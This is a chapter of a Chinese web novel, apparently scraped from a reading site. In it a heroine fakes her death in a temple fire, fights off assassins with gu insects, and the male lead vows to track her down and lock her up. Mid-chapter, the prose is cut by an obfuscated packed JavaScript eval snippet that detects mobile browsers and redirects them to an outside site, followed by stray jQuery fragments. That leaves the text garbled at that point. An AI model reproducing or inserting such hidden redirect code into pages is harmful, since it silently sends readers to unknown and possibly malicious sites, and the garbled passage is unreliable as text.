26.第 26 章

作品:《替嫁苗疆少年后

    四年六月,王嗣偕公主赴崇圣寺浴佛法会。俄而火起,南风助势,寺宇尽焚。王嗣突围,遍寻不见公主。火熄,于灰烬中得遗骸。


    后查乃叛军余孽纵火,王嗣尽诛其党。然每至公主忌辰,王嗣必独往寺墟祭奠,对月独酌,至醉方归。寺中老僧尝言,尝见王嗣对月独语,若与人言笑状,近之则唯闻银铃空响而已。


    ——


    戴上完美的面具。


    穿上轻便的服装。


    离去。


    温萝芙打开暗格,取出一张面具覆于脸上。那是张平凡至极、落入人海便再难寻觅的脸。


    她换上备好的粗布衣衫,最后一次环顾身后。雕梁画栋,锦帷绣帐,空气中弥漫着冷冽的药香,混杂着未散的酒气。


    这里曾是噩梦的起点,也曾编织过短暂如泡沫般易碎的美梦。


    爱与恨,利用与沉沦,都将在今夜终结。


    她悄无声息地推开门。


    月光照亮碎石小径,寺后废弃柴房的阴影里,一个包裹静静躺着。包裹旁,赫然倒着一具冰冷的尸体。时间紧迫,她利落地系好包袱背在身后,里面是远行的粗布衣物、少量干粮、一个水囊,以及一袋沉甸甸、足以支撑她隐姓埋名许久的金叶子。目光触及那块双鱼玉佩,她毫不犹豫地将其抛在尸体身侧。


    一个替身已然布下,只待被人发现。


    在她直起身,紧绷的神经稍松之时,刺耳的破空声撕裂了寂静。冰冷的杀意直袭后方,温萝芙凭着本能惊险闪避。


    月光下,白衣男子卓然而立,目光扫过地上的玉佩,最终定格在她那张平凡的脸上。


    “啧,”赵四戏谑地咂嘴,“费这么大周章,原来你就是温萝芙?不过……”


    他恶意地上下打量:“这张脸,可真够普通的。”


    温萝芙:“你爹没教过你,随意评价他人长相很没教养?”


    她一边说,一边暗中调整着站姿,寻找着脱身的契机。


    她本就做好了迎战准备。


    “不好意思,我没有爹。”赵四狂笑一声,“没想到你竟有胆子独自跑出来,脱离庄九黎那毒蛇的庇护!真是天助我也!受死吧!”


    他手腕一抖,一枚点燃的火折子如流星般飞向柴房干燥的茅草屋顶!


    炽焰冲天,顷刻点燃整片屋顶,浓烟裹挟着焦糊味弥漫开来,火势正迅猛蔓延。


    温萝芙:“你要纵火烧寺?”


    她原本确实计划制造一场可控的小型火灾,但只需点燃柴房一角即可。可眼前这刺客,竟要将整座千年古刹付之一炬!


    “不然呢?”赵四手中长刀一挽,再次锁定温萝芙,“不把这水搅浑,我怎么安心取你性命?”


    烈焰迅速蔓延向邻近的殿堂。崇圣寺的宁静被彻底撕裂。


    “走水了!快救火!”


    “禅房!禅房烧起来了!”


    “水!快提水!”


    僧侣们衣衫不整地冲出,侍卫们提着水桶慌慌张张地奔向火场。


    原本庄严肃穆的寺庙,瞬间变成了炼狱般的修罗场。


    赵四化作一道白色闪电,在混乱与光焰的背景下,一刀快过一刀向温萝芙袭来!


    刀光凌厉,角度刁钻,招招致命。温萝芙深知体能非己所长,硬拼必死无疑,只得连连退避。刀锋一次次险险擦过衣袖,燃烧的木块带着火星不断坠落,灼热气浪炙烤着肌肤。


    生死关头,温萝芙眼中厉色一闪。她探入袖口,拈出一只毫不起眼的黑色蛊虫,猛地朝赵四面门掷去。火光映照下,数点难以察觉的细小暗影激射而出。


    赵四反应极快,刀光一旋欲图格挡。岂料蛊虫在空中诡异地扭动,竟避开刀锋,迅疾钻向他裸露的手腕和脖颈。


    “呃!”他只觉皮肤针刺麻痒,随即一股阴寒之气顺着血管急速蔓延。他大惊失色,急运内力欲逼出异物,却觉手臂酸软麻痹,动作立时迟滞。


    他难以置信地瞪着温萝芙:“蛊虫?!你竟会用蛊?”


    “听闻南诏只有庄九黎才能如此随心所欲地驱使这种蛊,怎么,他连压箱底的本事都教了你?而你……””


    赵四的声音充满了恶毒的幸灾乐祸,“而你却用他教的蛊术背叛他,温萝芙,你好狠的手段!他若知晓,怕是要亲手撕碎了你!”


    温萝芙瞥了眼划破的衣袖,冷笑道:“是啊,他给了我很多……多得超乎你想象。”


    趁赵四被蛊虫牵制、动作稍缓之机,温萝芙毫不犹豫地再次发动攻击!


    细密闪烁的磷光粉末扑向其双眼,赵四急闭眼挥袖格挡。温萝芙蛊术虽远不及庄九黎精深,所用也多为牵制之蛊,但在她精准的时机把握下,硬是将赵四拖入了蛊虫围攻的泥沼。


    赵四不断斩落蛊虫,但更多的蛊虫前仆后继,让他一时无法追击。


    目的达到。


    温萝芙转身欲逃。


    就在这时——


    一把薄如蝉翼的短匕,精准无比地抹向她的咽喉。


    温萝芙扭身仰头,冰凉锋刃擦着下颚掠过,留下一道血线。


    她知道自己犯了一个致命的错误。


    赵四,从来都不是一个人前来暗杀。


    ……


    另一边,烈焰中心。


    庄九黎是在一阵撕裂心肺般的剧痛中猛然惊醒的。


    那痛楚并非来自皮肉,而是源于灵魂深处,仿佛有无数根烧红的钢针同时刺穿了他的心脏,又狠狠搅动。是情蛊,情蛊能感受另一方的安危。


    他霍然坐起,身侧空空如也。


    窗外,火光映红了天幕,混乱的呼喊声、杂乱的脚步声混成一片,


    温萝芙呢?


    他甚至来不及披上外袍,只穿着单薄的寝衣,便撞开房门冲入火海。


    横梁在他身边轰然坠落,偏殿一角已被烈火吞噬,浓烟滚滚,烈焰翻腾。他感觉不到疼痛,只疯狂地在浓烟火光中搜寻那熟悉的身影。


    没有。


    哪里都没有。


    情蛊的感应变得极其微弱、混乱,如同风中残烛。


    他一脚踹开一扇摇摇欲坠、被火焰包裹的殿门,热浪夹杂着浓烟扑面而来,几乎将他窒息。殿内已是火海一片。他凭着情蛊那微弱到几乎断绝的感应,疯魔般地在断壁残垣中翻找,倒塌的屏风,燃烧的帷幔……


    终于,在一根倾倒的梁柱下,他看到了一具蜷缩的、焦黑的尸骸。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782011|172151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    尸骸的体型与她相仿。


    不,这不是她。


    那焦尸已被高温灼烤得扭曲变形,却依旧能辨认出是她的脸。


    她怎么会变成这样?


    不对。不对不对不对。


    “明明说好了,”他喃喃自语,“要一直陪着我的。”


    庄九黎双膝一软,重重跪倒在滚烫的灰烬之中。指尖深深嵌入掌心,鲜血淋漓滴落,在灰烬上烫出嘶嘶白烟。他伸出手,想要触碰那张残破的脸,却在咫尺之遥停住。


    他缓缓抬手,死死捂住自己的心口。


    那里,情蛊母虫的感应断绝了。


    随之而来的,是噬心之痛。


    周遭的灼热与心口的剧痛之相比,不过沧海一粟。仿佛有一个巨大的、被硬生生剜走的空洞,不断的流泻出所有的情感。


    “是我错了。”


    “我不该逼你用蛊,不该锁着你……你回来好不好?”


    他捧起焦尸那张面目全非的的 “脸”,猩红的眼底翻涌着足以焚毁一切的痛苦、暴戾,以及一丝近乎自虐的疯狂,声音却温柔如情人呓语。


    他早知道。


    他怎么会不知道?


    情蛊如同一条无形的锁链,不仅传递她的情绪,更让他隐约触及她深藏的念头。她的挣扎,她的疏离,情蛊都忠实地、残酷地传递给了他。


    但他欺骗了自己。


    或许是情蛊扭曲了判断,或许是他心甘情愿被蒙蔽。每当那逃离的念头自她心底浮起,他便用更炽热的拥抱、更缠绵的亲吻去压制,在她耳边一遍遍低语誓言,仿佛如此便能让它消失不见。


    所以,他醉得不省人事。


    所以,他放任她离开。


    “骗子……”


    一口鲜血从他咽喉里呛出来,突然——


    咚。


    心脏被什么东西狠狠拽了一下。


    那缕几乎消散的感应再次浮现。


    心脏被什么东西狠狠拽了一下。他僵住了。


    灰烬落在颤抖的睫毛上,他无暇顾及。很微弱,似一只濒死的蝴蝶在心尖扑翅,但确实在跳。从西北方向,穿过燃烧的梁柱,越过尸横遍野的庭院,一下,又一下地扯着他的心脉。


    “哈……”


    他笑着抹了把脸上的血,低沉而破碎的笑声,从他胸腔里溢出。


    找到了。


    他不听话的夫人,唯独对他残忍的骗子。


    她还活着。


    心口的剧痛令他几乎弯下腰去。可越痛,他笑得越发愉悦。多好啊,这种疼痛证明她还活着,证明他们之间那条无形的锁链依然牢固。一种病态的、扭曲的期待与笃定,在他心底疯狂滋长。


    你会回来的。


    天涯海角,碧落黄泉。


    只要你还活着。


    只要情蛊的子虫还在你体内。


    我会不惜一切找到你。


    然后……


    把你锁起来。


    让你再也不能逃开。


    “温萝芙。”


    庄九黎缓缓直起身,脸上的血迹已经干涸,衬得肤色越发苍白。他勾起唇角。


    “我们很快就会再见面的。”